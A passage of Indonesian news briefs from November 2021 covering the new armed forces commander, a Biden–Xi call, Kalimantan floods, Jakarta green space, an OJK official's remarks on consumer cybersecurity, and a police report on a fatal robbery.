menanggulangi tumpahan minyak di perairan. “Kami selalu mengingatkan, sebagai insan yang terkait dengan kegiatan pelayaran dan kepelabuhanan, penting untuk ikut berperan serta dan nyata dalam memastikan terselenggaranya perlindungan lingkungan maritim,” pungkas Menhub. (mth)

Presiden Akan Melantik Panglima TNI Pada Rabu

Jakarta, FNN - Presiden Joko Widodo mengagendakan pelantikan Kepala Staf Angkatan Darat Jenderal Andika Perkasa sebagai Panglima TNI pada Rabu besok, 17 November 2021. "Beliau menyampaikan besok (Rabu) akan dilaksanakan pelantikan Panglima," kata Kepala Sekretariat Presiden (Kasetpres) Heru Budi Hartono di Jakarta, Selasa, 16 November 2021. Pelantikan tersebut akan dilakukan di Istana Negara. "Selain pelantikan Panglima TNI akan ada pelantikan dubes-dubes," tambah Heru, sebagaimana dikutip dari Antara. Sebelumnya, Rapat Paripurna DPR RI pada Senin, November 2021 menyetujui usulan Presiden Joko Widodo yang mengajukan nama Jenderal Andika Perkasa sebagai calon Panglima TNI. Persetujuan tersebut diambil setelah mendengarkan laporan Komisi I DPR yang telah menyelenggarakan proses uji kelayakan dan kepatutan (fit and proper test) calon Panglima TNI pada Sabtu, 6 November 2021. Dalam rapat paripurna tersebut, Jenderal Andika Perkasa hadir dan diperkenalkan di hadapan anggota dewan. Andika dipilih sebagai Panglima TNI untuk menggantikan Marsekal Hadi Tjahjanto yang akan memasuki masa pensiun. Andika Perkasa sebelum dipercaya menjadi Panglima TNI, merupakan Kepala Staf TNI Angkatan Darat (Kasad). Andika juga pernah mengemban jabatan penting di tubuh TNI sebagai Panglima Komando Cadangan Strategis Angkatan Darat (Pangkostrad), dan Komandan Komando Pembina Doktrin Pendidikan dan Latihan Angkatan Darat (Dankodiklat AD). Andika juga pernah bertugas memimpin teritorial saat menjadi Panglima Komando Daerah Militer (Pangdam) XII/Tanjungpura pada 2016. Sebelum menjadi Pangdam XII, Andika adalah Komandan Pasukan Pengamanan Presiden (Danpaspampres) yang mengawal Presiden Jokowi. (MD).

Biden Berbicara Dengan Xi Lewat Video Janjikan Bahas HAM

Washington, FNN - Presiden Amerika Serikat, Joe Biden mengatakan kepada Presiden Republik Rakyat China, Xi Jinping, ia berharap bisa membicarakan masalah hak asasi manusia dan keamanan saat kedua pemimpin melakukan pembicaraan pada Selasa, 16 November 2021 pagi. Pertemuan yang berlangsung melalui saluran video itu digelar dengan tujuan menurunkan ketegangan di antara kedua negara adi daya tersebut. "Mungkin saya perlu memulainya secara formal, walaupun kita tidak pernah bersikap formal sebelumnya," kata Biden kepada Xi, sebagaimana dikutip dari Antara. Xi mengatakan senang bertemu lagi dengan Biden, yang ia sebut sebagai "teman lama". Xi juga mengatakan AS dan China harus meningkatkan komunikasi dan kerja sama dalam menyelesaikan banyak masalah yang dihadapi kedua negara. Biden menambahkan, ia dan Xi harus memastikan hubungan kedua negara tidak mengarah ke konflik terbuka. Salah satu upaya yang bisa dilakukan, menurut Biden, dengan memasang pagar pembatas "akal sehat". Ia berjanji membahas berbagai bidang yang menjadi perhatian pemerintah AS, termasuk HAM dan isu-isu lainnya di kawasan Indo-Pasifik, dalam pembicaraan dengan Xi. Pertemuan virtual, yang dimulai pada Selasa tidak lama setelah pukul 07.45 WIB, itu diprakarsai oleh Biden dan diniatkan supaya menetapkan berbagai ketentuan bagi persaingan AS-China pada masa depan. Biden diperkirakan akan menekan Beijing supaya menghormati aturan internasional menyangkut perdagangan dan keamanan. Amerika Serikat dan China, dua negara dengan ekonomi terbesar di dunia, berbeda pandangan soal asal-muasal pandemi Covid-19, aturan perdagangan dan kompetisi, dan pengembangan arsenal nuklir China beserta peningkatan tekanan Beijing terhadap Taiwan. (MD).

Jokowi: Banjir di Kalimantan karena Daerah Tangkapan Hujan Rusak

Jakarta, FNN - Presiden Joko Widodo mengatakan, banjir di Kalimantan disebabkan daerah tangkapan hujan di sana rusak sehingga harus diperbaiki. "Ya itu karena kerusakan wilayah tangkapan, daerah tangkapan hujan yang sudah berpuluh-puluh tahun, ya itu yang harus kita hentikan," ujar dia, seusai meresmikan Jalan Tol Serang-Panimbang Seksi 1 di Banten, Selasa. Ia mengatakan, air Sungai Kapuas di Kalimantan Barat meluap karena daerah tangkapan hujan rusak dan pemerintah akan fokus memperbaiki daerah tangkapan hujan itu. "Karena memang masalah utama ada di situ," kata dia. Ia mengatakan pemerintah mulai tahun depan akan membangun daerah tangkapan hujan yang rusak. "Akan ada persemaian, kemudian ada penghijauan kembali di daerah-daerah hulu, di daerah-daerah tangkapan hujan, di area tangkapan, kita perbaiki," kata dia yang berlatar belakang sarjana kehutanan itu. Adapun selain daerah tangkapan hujan yang rusak, dia mengatakan salah satu penyebab banjir adalah adanya curah hujan yang lebih ekstrem dari biasanya di Pulau Kalimantan. Sejak lebih dari tiga pekan lalu terjadi banjir bandang di Kabupaten Sintang, yang dilintasi daerah aliran sungai Sungai Kapuas, sungai paling besar di Indonesia. Diperkirakan sekitar 969.000 Hektare daerah aliran sungai di Kalimantan Barat rusak lahan dan kritis, dan yang paling besar adalah DAS Sungai Kapuas. (mth)

Pemprov DKI Berencana Perluas RTH di Daerah Penyangga

Jakarta, FNN - Pemerintah Provinsi DKI Jakarta berencana memperluas ruang terbuka hijau (RTH) di daerah penyangga karena keterbatasan lahan dan jumlah penduduk di Jakarta yang tidak memungkinkan memenuhi target 30 persen RTH. "Kami semua ingin memenuhi RTH sesuai ketentuan, tapi yang perlu dipahami kondisi di Jakarta penduduknya sangat padat," kata Wakil Gubernur DKI Jakarta Ahmad Riza Patria, di Balai Kota Jakarta, Selasa. Menurut Riza Patria, kondisi Jakarta tidak hanya padat penduduk tapi semua aktivitas juga terpusat di Jakarta, mulai dari pemerintahan, politik, ekonomi, bisnis, hingga sosial dan budaya, ada di Jakarta. Karena itu, kata dia, Pemerintah Provinsi DKI Jakarta ingin berbagi program dengan daerah penyangga di Bogor, Depok, Tangerang dan Bekasi (Bodetabek). "Kami ingin berbagi beberapa program dengan Bodetabek. Ini sudah kami diskusikan. Jadi kami harap juga ruang terbuka hijau diperluas, ditambah di daerah di sekitar kota Jakarta," katanya. Sebelumnya, Kementerian Agraria dan Tata Ruang/Badan Pertanahan Nasional (ATR/BPN) berencana memindahkan pemenuhan RTH di DKI Jakarta ke daerah Puncak, Bogor, guna mengatasi persoalan banjir di Jakarta, dan memastikan perbaikan lingkungan di wilayah hulu. Wacana tersebut diutarakan Menteri ATR/BPN, Sofyan A Djalil, dalam rangkaian peringatan Hari Agraria dan Tata Ruang Nasional (HANTARU) 2021 di kantornya, Jakarta, pekan lalu. Sofyan mengatakan itu sebagai bagian dari kolaborasi bersama menyelamatkan kawasan Puncak. Mengutip dari laman web BPN, Sofyan mengatakan, RTH di Jakarta yang masih jauh dari target itu akan dikaji ulang agar bisa dipindahkan pemenuhannya ke daerah Puncak. "Bagaimana kita mengatasi Puncak ini? Kalau kita bekerja bersama, saya akan mengubah aturan tentang RTH Jakarta," imbuhnya saat membuka talkshow "Kolaborasi dalam Penyelamatan Kawasan Puncak Bogor" di kantornya, Jakarta, Jumat (5/11). Sementara itu, Ketua Komisi D DPRD DKI Jakarta, Ida Mahmudah, menjelaskan ruang terbuka hijau di DKI Jakarta baru menyentuh angka 9,2 persen dari target pemenuhan RTH sebesar 30 persen. "Untuk 30 persen itu terlalu mustahil kalau di DKI tapi kalau masih di Depok, Tangerang, Bekasi masih memungkinkan karena lahan mereka masih luas, itu yang pasti," ucapnya. (mth)

Menteri Kesehatan Berharap RSUP Persahabatan Jadi Rujukan Dunia

Jakarta, FNN - Menteri Kesehatan Budi Gunadi Sadikin mengharapkan Rumah Sakit Umum Pusat (RSUP) Persahabatan, Jakarta Timur menjadi rumah sakit rujukan dunia untuk respirasi atau pernapasan. Budi menyampaikan itu saat menghadiri acara puncak dan penutupan HUT Ke-58 RSUP Persahabatan pada Selasa, 16 November 2021. "Jadi saya titip teman-teman di Persahabatan mengingat bahwa penyakit pernapasan ini sudah menimbulkan korban di dunia dan terus terjadi makanya mereka harus jadi salah satu rumah sakit rujukan dunia untuk dapat mengobati dan mencegah agar hal ini jangan sampai terjadi," kata Budi Gunadi Sadikin, sebagaimana dikutip dari Antara. Budi menambahkan bahwa RSUP Persahabatan juga harus melakukan penelitian bekerja sama dengan berbagai perguruan tinggi hingga lembaga riset baik dari dalam dan luar negeri untuk dapat melakukan berbagai inovasi. "Mereka harus lakukan research bekerja sama dengan seluruh perguruan tinggi bukan hanya di Jakarta saja terkait yang berhubungan dengan respiratory disease," ujar Budi Gunadi. Menkes juga meminta manajemen RSUP Persahabatan untuk menjadi pengampu dengan membagikan pengetahuan dan ilmu yang dimiliki kepada rumah sakit lainnya yang ada di Indonesia. "Saya juga minta RS Persahabatan jadi pengampu jangan hanya pintar sendirian tapi juga bisa menularkan kepintaran ke seluruh rumah sakit di seluruh provinsi," tutur Budi. RSUP Persahabatan menggelar acara puncak dan penutupan rangkaian HUT Ke-58 dengan mengusung tema "Sinergi Menyehatkan Negeri" yang diadakan di Griya Puspa RSUP Persahabatan. Acara yang juga dihadiri perwakilan Kedutaan besar Rusia itu diisi dengan berbagai kegiatan seperti peresmian Gedung Asma menjadi Gedung Prof. Dr. Hadiarto Mangunnegoro hingga penampilan dari peserta RSP Got Talent 2021 dan Duta RSUP. (MD).

Korban Banjir Bandang di Sigi Diedukasi soal Mitigasi Bencana

Sigi, FNN - Pemerintah Kabupaten Sigi, Sulawesi Tengah, melalui Badan Penanggulangan Bencana Daerah (BPBD) setempat memberikan edukasi tentang mitigasi bencana kepada masyarakat yang menjadi korban banjir bandang di Desa Rogo, Kecamatan Dolo Selatan. Edukasi dilakukan bersama dengan Dinas Sosial dan pemerintah desa berkaitan dengan antisipasi dampak fenomena La Nina yang memicu bencana hidrometeorologi. “Sudah dilakukan minggu lalu dan diberikan edukasi agar melakukan mitigasi bencana sejak dini. Ini rutin kami lakukan tetapi kali ini kami tingkatkan khususnya pada musim hujan seperti saat ini,” kata Bupati Sigi, Irwan Lapata di Sigi, Selasa. Dia menjelaskan bahwa bencana banjir sering melanda Kecamatan Dolo Selatan sehingga masyarakat di wilayah tersebut perlu diberi penguatan mitigasi bencana banjir bandang maupun longsor. “Memberi penguatan soal mitigasi bencana ini rutin dilakukan dan kami lakukan untuk semua wilayah bukan hanya untuk korban banjir bandang,” sebutnya. Selain memberi penguatan mitigasi bencana banjir maupun longsor dan memantau langsung daerah rawan bencana, pemerintah kabupaten berupaya untuk menyelesaikan pekerjaan perbaikan jalur sungai di Kabupaten Sigi. “Kami dibantu pihak-pihak terkait menyelesaikan masalah sungai ini dan berharap tidak terjadi risiko lebih besar jika turun hujan deras di Kabupaten Sigi,”terangnya. Sementara itu, Kepala Desa Rogo, Fuad Hudin menambahkan BPBD Sigi bersama Dinas Sosial beberapa kali memberikan edukasi mitigasi bencana banjir dan longsor untuk seratusan KK yang menjadi korban banjir bandang pada September 2021. Pada musim hujan seperti saat ini, warga diminta meningkatkan kewaspadaan dan kesiapsiagaan jika terjadi bencana banjir atau longsor. “Nanti dalam waktu dekat akan ada lagi edukasi dari pemkab dan kami selalu mengikutkan warga Dusun 1 sekitar 90 KK, belum lagi dusun lainnya,” sebut Fuad di Sigi, Selasa siang. Fuad berharap pemerintah kabupaten terus memperhatikan warga di Desa Rogo yang menjadi korban banjir bandang dengan mempercepat pekerjaan normalisasi sungai. “Kalau pekerjaan sungai selesai maka masyarakat pun bisa lebih tenang menghadapi musim hujan seperti saat ini,” ucap Fuad. (mth)

Wapres Berharap Kualitas SDM Pemprov Aceh Terus Meningkat

Jakarta, FNN - Wakil Presiden Ma’ruf Amin mengharapkan kualitas sumber daya manusia (SDM) Pemerintah Provinsi Aceh terus meningkat untuk menciptakan tata kelola pemerintahan yang berkualitas. "Saya juga berharap kualitas sumber daya manusia aparatur penyelenggara pelayanan publik di Aceh itu terus meningkat, sehingga tercipta tata kelola pemerintah yang baik di dalam pelayanan publik," kata Wapres Ma’ruf Amin saat memimpin rapat di Kantor Gubernur Aceh, seperti dalam keterangan dari Biro Pers, Media dan Informasi (BPMI) Setwapres, Selasa. Wapres juga meminta Pemprov Aceh memberikan kemudahan aksesibilitas dan mengutamakan kenyamanan masyarakat dalam memperoleh pelayanan publik. Wapres mendorong seluruh aparatur penyelenggara pemerintah di Aceh, baik di tingkat provinsi, kabupaten dan kota, untuk saling berkoordinasi dan bersinergi denga jajaran kementerian dan lembaga pemerintah non-kementerian (K/L) di pusat. "Konsolidasi, kolaborasi, sinergi antara K/L dan pemda lain, serta dengan dunia usaha harus senantiasa diperkuat, agar pelayanan publik menjadi lebih adaptif dan berdaya saing," katanya. Apabila kolaborasi tersebut tidak berjalan, kata Wapres, maka hal itu akan menghambat pelayanan publik dari pemerintah kepada masyarakat. "Kalau kolaborasi ini tidak berjalan, tentu akan terjadi hambatan dan tidak berjalan dengan baik. Ini yang menjadi perhatian kita bersama," tegasnya. Sementara itu, Sekretaris Daerah Provinsi Aceh Taqwallah melaporkan terkait program pengembangan UMKM di Aceh, dengan pemberian dukungan melalui Peraturan Gubernur tentang Pengembangan Kewirausahaan Terpadu. "Dilakukan juga pembinaan terhadap pelaku usaha melalui tujuh dinas pelatihan, sembilan jenis pendampingan, stimulus, kemitraan dengan berbagai pihak," kata Taqwallah. (sws)

Pemkab Barito Utara Gelar Seleksi Kompetensi Bidang CPNS

Muara Teweh, FNN - Pemerintah Kabupaten Barito Utara, Kalimantan Tengah, menggelar Seleksi Kompetensi Bidang atau SKB bagi calon pegawai negeri sipil (CPNS) 2021 yang lulus passing grade hasil seleksi kompetensi dasar (SKD) pada 16-17 November 2021 bertempat di Badan Kepegawaian dan Pengembangan Sumber Daya Manusia (BKPSDM) daerah setempat. "Hari ini tes SKB sedang berlangsung yang merupakan hari pertama dengan titik lokasi (tilok) di ruang Computer Assisted Test (CAT) BKPSDM," kata Kepala Badan Kepegawaian dan Pengembangan Sumber Daya Manusia Barito Utara Fakhri Fauzi di Muara Teweh, Selasa. Menurut dia, kegiatan yang akan diikuti 163 peserta tersebut dilaksanakan oleh pemerintah daerah melalui kerja sama BKPSDM Barito Utara dengan BKN Kantor Regional VIII Banjarmasin, Kalimantan Selatan. Pada hari ini, kata dia, tes dilangsungkan empat sesi, dengan jumlah peserta 30 orang per sesi dan alokasi waktu tes selama 90 menit. "Tes hari ini direncanakan memfasilitasi bagi 120 peserta. Selanjutnya, hari kedua pada Rabu (17/11), tes akan diikuti 43 peserta, yakni 30 peserta sesi 1 (08.00-09.30 WIB) dan 13 peserta sesi 2 (10.30-12.00 WIB)," kata Fakhri. Dia mengatakan, di sela setiap sesi tes, pada hari pertama maupun hari kedua, terdapat jeda waktu 60 menit di setiap sesi tes. Jeda waktu antar sesi, diperuntukkan untuk proses transisi/ persiapan yaitu registrasi dan penyerahan PIN peserta, penitipan barang, body checking,peserta masuk ruang tunggu steril, serta perpindahan peserta dari ruang tunggu ke ruang ujian. "Tes sesi pertama hari ini telah dimulai tepat pukul 08.00 WIB dan ditentukan, beberapa saat nanti, sesi sudah harus selesai pukul 09.30 WIB," kata dia. Waktu pelaksanaan tiga sesi tes hari pertama ini, selanjutnya masing-masing untuk sesi 2 (pukul 10.30-12.00 WIB), sesi ketiga (13.00-14.30 WIB), dan sesi ke-4 (15.30-17.00 WIB). CASN di lingkup Pemkab Barito Utara yang lulus SKD dan berhak mengikuti tes SKB sebanyak 244 peserta dengan tiga titik lokasi ujian yaitu 163 orang tiloknya di Muara Teweh, kemudian 26 peserta dilaksanakan di BKN Banjarmasin dan 55 orang lokasi ujian UPT BKN Palangka Raya yang keduanya dilaksanakan pada Senin (15/11). "Jadi pelaksanaan tes SKB dengan titik lokasi di Banjarmasin dan Palangka Raya sudah dilaksanakan Senin (15/11)," ujar Fakhri. (sws)

OJK Faktor Terbesar Keamanan Siber Berada Pada Konsumen

Jakarta, FNN - Kepala Grup Inovasi Keuangan Digital Otoritas Jasa Keuangan (OJK) Triyono Gani mengatakan konsumen memegang faktor terbesar terhadap keamanan siber pada finansial digital. “Berdasarkan literatur yang ada, faktor keamanan itu ada di tangan konsumen. Angkanya sekitar 60 persen lebih,” ujar Triyono dalam diskusi Infobanktv secara daring, Selasa, 16 November 2021. Triyono menyampaikan perilaku konsumen menjadi kunci dalam keamanan siber finansial digital, seperti menjaga kerahasiaan password dan tidak membuat password yang mudah ditebak. Selain juga menjaga kerahasiaan OTP (One Time Password). Karena itulah, OJK senantiasa meningkatkan literasi dan kesadaran konsumen. “Ini salah satu aspek, tidak hanya sekedar dari infrastruktur tapi justru dari perilaku dan ini yang perlu kita perkuat,” ujarnya, sebagaimana dikutip dari Antara. OJK mempunyai program digital finance curriculum bekerja sama dengan Kemendikbud dan universitas untuk mengembangkan kurikulum fintech serta membuat fintech center di beberapa universitas. Kemudian program OJK Infinity berupa capacity building dan konsultasi harian terkait inovasi keuangan digital, serta inisiatif lainnya adalah Program Digital Financial Literacy Moduls. “Salah satu modelnya adalah bagaimana mem-protect diri sendiri, materinya tidak hanya dalam bentuk e-book, video, dan juga gim interaktif. Mudah-mudahan dengan interaksi ini pemahaman tentang cyber security dan perlindungan data pribadi lebih cepat terserap,” jelas dia. Lebih lanjut Triyono menyampaikan OJK juga terus berupaya memperkuat standar keamanan untuk Lembaga Jasa Keuangan, antara lain dengan menerapkan security access manager yang merupakan solusi otoriasi lengkap untuk mengelola akses ke sumber daya berbasis jaringan internal pribadi dan memanfaatkan konektivitas internet publik dengan aman dan tetap mengedepankan kemudahan pengguna. Kemudian OJK juga meminta lembaga keuangan untuk menerapkan zero trust model yakni konsep keamanan yang tidak mempercayai siapapun, sehingga mengharuskan pengguna untuk diautentifikasi, diautorisasi dan memvalidasi konfigurasi dan postur keamanan. Selain itu OJK melalui Peraturan OJK juga telah mempunyai tiga peraturan terkait kewajiban lembaga jasa keuangan dalam menerapkan sistem keamanan berbasis security access manager. Peraturan tersebut adalah POJK Nomor 13 Tahun 2018 Tentang Inovasi Keuangan Digital, POJK Nomor 13 Tahun 2016 Tentang Manajemen Risiko Teknologi Informasi serta POJK Nomor 4/POJK.05/2021 Tentang Penerapan Manajemen Risiko dalam Penggunaan Teknologi Informasi oleh Lembaga Jasa Keuangan Non-Bank Kendati demikian Triyono berharap ada Undang-Undang terkait keamanan siber yang cakupannya lebih luas dan bisa mengatur lembaga nonkeuangan. “Yang kita harapkan UU level, sehingga kita bisa meng-capture potensi risiko yang ada di nonlembaga keuangan dan nonsektor yang tidak ada otorisasinya,” kata dia. (MD).

Pemerintah Papua Barat Bangunan Kantor Dinas Kehutanan di Wondama

Manokwari, FNN - Pemerintah Provinsi Papua Barat membangun Kantor Cabang Dinas Kehutanan Wilayah III Kabupaten Teluk Wondama di Distrik Wondiboi guna mempermudah pengawasan terhadap pemanfaatan hutan setempat. Bupati Teluk Wondama Hendrik Mambor di Wasior, Selasa, berharap pelayanan bidang kehutanan di daerah setempat, terutama pengawasan hutan dengan menjaga kelestarian di Wondama, akan menjadi lebih kuat setelah memiliki kantor sendiri. Hendrik Mambor menyebutkan kabupaten setempat memiliki kawasan hutan seluas 1,146 juta hektare, terdiri atas hutan lindung, cagar alam taman nasional, dan hutan produksi. Salah satu yang cukup luas, kata dia, adalah cagar alam pegunungan Wondiboi yang membentang dari utara hingga selatan wilayah Teluk Wondama. Ia mengatakan bahwa pihaknya akan berupaya menjaga hutan pegunungan Wondoboi dari kerusakan, terutama akibat aktivitas manusia maupun kegiatan pembangunan. Pemkab Wondama akan bersinergi dengan cabang dinas kehutanan guna memastikan cagar alam pegunungan Wondiboi tetap terjaga. Bupati memandang perlu semua pihak menjaga dengan baik hutan di sebelah timur jalan ini (cagar alam pegunungan Wondoboi berada di bagian timur jalan raya Wasior-Rasiei) dengan baik. "Kami akan mulai membatasi pembukaan ruang di sepanjang hutan di sebelah timur jalan. Kalau yang kecil-kecil, kami masih toleransi. Akan tetapi yang besar, kami tidak mengizinkannya," ucap Mambor. Sementara itu, Kepala Dinas Kehutanan Provinsi Papua Barat Hendrik Runaweri mengatakan bahwa pembangunan gedung kantor CDK merupakan upaya untuk mendekatkan pelayanan kepada masyarakat dalam urusan kehutanan. Hendrik Runaweri berharap kantor CDK cepat selesai sehingga pelayanan di bidang hutan dan kehutanan di Wondama bisa terlaksana dengan lebih baik. "Hari ini kami bersyukur kepada Tuhan karena meletakkan batu pertama pembangunan Kantor CDK Wilayah III Teluk Wondama. Adapun tujuannya untuk mendekatkan pelayanan kepada masyarakat terkait dengan hutan dan kehutanan, termasuk yang jadi perhatian saat ini adalah perizinan dan pengawasan terhadap peredaran hasil hutan," kata Runaweri kepada awak media usai kegiatan. Sebelumnya dalam sambutannya, Runaweri menekankan pentingnya menjaga kelestarian hutan di Wondama yang luasnya mencapai 98 persen dari total luas Kabupaten Teluk Wondama. Ia mengatakan bahwa kawasan hutan di Wondama menyimpan beragam potensi mulai dari flora dan fauna berbagai jenis, kayu, dan nonkayu hingga bunga dan buah-buahan. Hutan Wondama, lanjut dia, juga menjadi habitat tanaman dan binatang endemik, seperti anggrek, buah hitam, dan burung cenderawasih. Terlepas dari itu, hutan juga menjadi paru-paru dunia dan menjadi benteng pelindung dari bencana. Oleh karena itu, pihaknya harus berupaya menjaga dan memelihara kawasan hutan yang sudah ada sebab hutan memiliki fungsi dan manfaat yang besar bagi kehidupan manusia pada saat ini maupun anak cucu pada masa yang akan datang. Dalam rangka itu, kata Runaweri, CDK siap bersinergi dengan Pemkab Teluk Wondama untuk memastikan pemanfaatan kawasan hutan untuk kepentingan pembangunan maupun masyarakat secara baik dengan tetap berpedoman pada aturan dan ketentuan yang berlaku. "Dengan adanya kantor ini, kami akan koordinasi dengan Bupati supaya kawasan hutan yang mau dimanfaatkan oleh pemda itu. Semua pihak perlu ikuti aturan yang ada supaya ke depan tidak ada masalah," kata Runaweri. (sws)

Badan Kehormatan DPRD Sulsel Tegur Dua Legislator yang Malas Rapat

Makassar, FNN - Badan Kehormatan (BK) DPRD Provinsi Sulawesi Selatan, mengeluarkan surat teguran keras kepada dua anggota dewan yang malas mengikuti sejumlah rapat-rapat penting di kantor dewan setempat. "Iya memang ada (dua anggota). Sudah dikirimkan suratnya ke fraksi masing-masing, perihal anggotanya kurang aktif," sebut Ketua BK DPRD Sulsel, Irfan AB di Makassar, Selasa. Dua anggota tersebut yakni Desy Susanti Sutomo dari Fraksi NasDem dan Vonny Ameliani dari Fraksi Gerindra. Kedua Srikandi DPRD Sulsel itu dianggap berulang-kali tidak menghadiri rapat seperti rapat komisi dan paripurna. Meski baru dua yang disurati, perihal kehadiran rapat, kata Irfan, beberapa anggota lain yang terdeteksi malas mengikuti rapat, juga akan dikenakan teguran yang sama bila tak mengindahkan aturan. Dalam kode etik dijabarkan, apabila anggota DPRD tidak mengikuti rapat paripurna, rapat komisi, maupun rapat alat kelengkapan dewan selama tiga kali berturut-turut tanpa keterangan, maka BK memiliki kewenangan memberikan peringatan. Surat peringatan diberikan kepada fraksi dari anggota yang bersangkutan termasuk bisa mengusulkan Pergantian Antar Waktu (PAW) kepada anggota dewan yang bersangkutan karena malas ikut rapat. Menanggapi hal tersebut, Peneliti senior Komite Pemantau Legislatif (Kopel) Sulsel, Herman mengungkapkan, anggota dewan digaji oleh negara melalui pajak dipungut dari rakyat. Tugas utamanya adalah rapat membuat regulasi aturan, hingga membahas anggaran dan mengawasinya. "Jika mereka malas hadir rapat, maka itu sudah keterlaluan. Tugas mereka jelas, pengawasan, budgeting (pengaggaran), dan regulasi. Kalau malas ikut rapat, secara tidak langsung menurunkan kinerjanya, mengkhianati dan mengingkari amanah rakyat diberikan kepadanya," papar Herman menegaskan. Meskipun kehadiran anggota dewan tidak sepenuhnya hadir secara tata muka, karena mereka bukan Aparatur Sipil Negara (ASN) yang diharuskan masuk tiap hari ke kantor, tetapi mengikuti rapat merupakan bagian dari kewajiban mereka, sebagai keterwakilan rakyat. Pihaknya pun meminta agar Badan Kehormatan (BK) DPRD Sulsel tidak menyembunyikan nama-nama legislator yang malas, bila perlu nama mereka diumumkan kepada publik, sebagai bentuk efek jera agar diketahui khalayak dan konsituennya dan dijatuhi sanksi tegas. (sws)

Kapolri dan Mentan Sepakat Perkuat Ketahanan Pangan Indonesia

Jakarta, FNN - Kapolri Jenderal Pol. Listyo Sigit Prabowo bersama Menteri Pertanian Syahrul Yasin Limpo, Selasa, menandatangani nota kesepahaman (MoU) dalam rangka memperkuat ketahanan pangan guna memenuhi kebutuhan pangan bagi warga negara Indonesia serta meningkatkan ekspor pertanian. Sesuai dengan arahan Presiden Joko Widodo (Jokowi), kata Mentan Syarul Yasin Limpo, Kementan mendapat tugas strategis yang harus maksimal dalam memenuhi kebutuhan pangan 273 juta jiwa penduduk Indonesia. "Dalam hal ini, Kementan tidak bisa sendiri, harus bersama-sama dengan unsur yang ada (Polri, red.)," kata Syahrul usai kegiatan MoU di Gedung Rupatama, Mabes Polri, Jakarta Selatan, Selasa. Syahrul mengapresiasi perhatian Kapolri Jenderal Pol. Listyo Sigit Prabowo yang cukup konsen dengan persoalan ketahanan pangan. Polri, menurut Syahrul, telah mengawal mengawal program-program pertanian mulai dari budi daya di semua wilayah Indonesia, proses pascapanen, hingga pengamanan panen. "Pascapanen itu setelah panen bagaimana mengamankan hasil dan sekaligus melakukan upaya-upaya mendistribusi dan lain-lain, akan berjalan dengan baik," kata Syahrul. Mantan Gubernur Sulawesi Selatan itu menyebutkan kesepakatan dalam nota kesepahaman tersebut, antara lain dukungan Polri terkait dengan peningkatan ekspor pertanian, terutama komoditas ekspor yang diminati dunia. "Bapak Kapolri senantiasa melihat itu dan secara sinergi senantiasi berada di lapangan," kata Syahrul. Tidak hanya itu, nota kesepahaman tersebut juga menyangkut pengawalan kepolisian secara maksimal di daerah-daerah perbatasan Indonesia agar kegiatan sektor pertanian berjalan sesuai dengan rencana di Kementan. "Kita berharap pengamanan kepolisian semaksimal mungkin sehingga semua budi daya akan berjalan sesuai dengan apa yang menjadi rencana di Kementan," kata Syahrul. Ia melanjutkan, "Ini semua Bapak Presiden minta bukan besok, bukan lusa, hari ini juga semua harus dilakukan lebih maksimal untuk meningkatkan ketahanan pangan kita," ujarnya. Kapolri Jenderal Pol. Listyo Sigit Prabowo mengatakan bahwa MoU ini dalam rangka mendorong dan mempercepat program-program dari Kementan agar bisa berjalan dengan hasil yang optimal. "Seperti yang disampaikan Pak Menteri, ada 270 juta jiwa penduduk Indonesia yang tiap hari tentunya harus dipenuhi terkait dengan masalah kebutuhan pangan, dan ini menjadi konsen kami bagaimana mendorong agar produktivitas pertanian makin hari jadi makin meningkat," kata Sigit. (sws)

Begal Karyawati Basarnas Gelar Pesta Narkoba Sebelum Beraksi

Jakarta, FNN - Penyidik Polres Metro Jakarta Pusat mengungkapkan eksekutor begal berinisial ADR alias T yang menewaskan karyawati Basarnas, sempat menggelar pesta narkoba sebelum menjalankan aksi kejahatan. ADR, sang eksekutor beraksi bersama ketiga temannya merampas telepon seluler milik korban MN (22) hingga meninggal dunia akibat luka terkena sabetan celurit pada 22 Oktober lalu sekitar pukul 02.47 WIB. "Sebelum melakukan aksi, dia pesta narkoba dulu, kemudian mereka berangkat," kata Wakil Kepala Polres Metro Jakarta Pusat Ajun Komisaris Besar Polisi Setyo Koes Hariyanto saat konferensi pers di Jakarta, Selasa, 16 November 2021. Setyo mengatakan ADR sengaja mengonsumsi narkoba untuk meningkatkan keberanian sebelum melakukan tindakan keji hingga menewaskan korban. Menurut dia, ADR berniat merampas telepon seluler milik MN, namun tersangka melukai lengan kiri hingga menembus paru korban. "Dia tidak tahu itu akan berakibat fatal dan korbannya meninggal dunia. Jadi dia asal sabet pakai celurit mengenai korban dan mengakibatkan korban meninggal dunia," ujar Setyo, sebagaimana dikutip dari Antara. Adapun, petugas menciduk ADR di Gadog, Kabupaten Bogor pada Ahad, 14 November 2021 lalu, setelah dinyatakan masuk daftar pencarian orang (DPO). Sedangkan, tiga pelaku lainnya telah ditangkap sebelumnya, yakni RP (18) diringkus di Tamansari, Jakarta Barat, selanjutnya MG (18) dibekuk di Klender, Jakarta Timur, dan terakhir MR (24) ditangkap di Bogor. Diketahui, komplotan penjahat tersebut telah melakukan aksi serupa pada dua lokasi lainnya yang berada di Jakarta Timur. Akibat perbuatannya, ADR dikenakan pasal berlapis, yaitu Pasal 361 dan 365 KUHP dengan ancaman kurungan penjara lebih dari lima tahun. (MD).

Polri Pertahankan Sinergitas TNI di Bawah Kepemimpinan Jenderal Andika

Jakarta, FNN - Kepolisian Negara Republik Indonesia (Polri) mendukung pelantikan Jenderal TNI Andika Perkasa sebagai Panglima TNI menggantikan Marsekal TNI Hadi Tjanjanto, sekaligus memastikan sinergitas kedua institusi tetap bertahan dan berjalan baik. Kepala Divisi Humas Polri Irjen Pol. Dedi Prasetyo mengatakan bahwa pelantikan Jenderal TNI Andika Perkasa sudah menjadi keputusan Presiden Joko Widodo. "Sikap Polri tetap mendukung penuh apa yang menjadi kebijakan dari Pemerintah, khususnya Bapak Presiden. Itu merupakan hak prerogatif Bapak Presiden," kata Dedi. Terkait dengan sinergitas antara Polri dan TNI, menurut Dedi, sudah terbentuk mulai dari tingkat pimpinan hingga tingkat bawah. Kapolri, lanjut Dedi, selalu meningkatkan sinergitas di unsur pimpinan. Bahkan, dengan Panglima TNI terpilih, sinergi juga sudah berjalan sejak lama. Dedi menambahkan bahwa sinergitas Polri/TNI tersebut dalam rangka menciptakan situasi keamanan, ketertiban masyarakat (kamtibmas), dan dalam rangka kegiatan operasi kemanusiaan. "Sinergitas ini akan terus ditingkatkan, termasuk pengamanan terkait dengan kegiatan, baik event internasional maupun nasional," kata Dedi. Presiden Joko Widodo mengagendakan pelantikan Kepala Staf Angkatan Darat Jenderal TNI 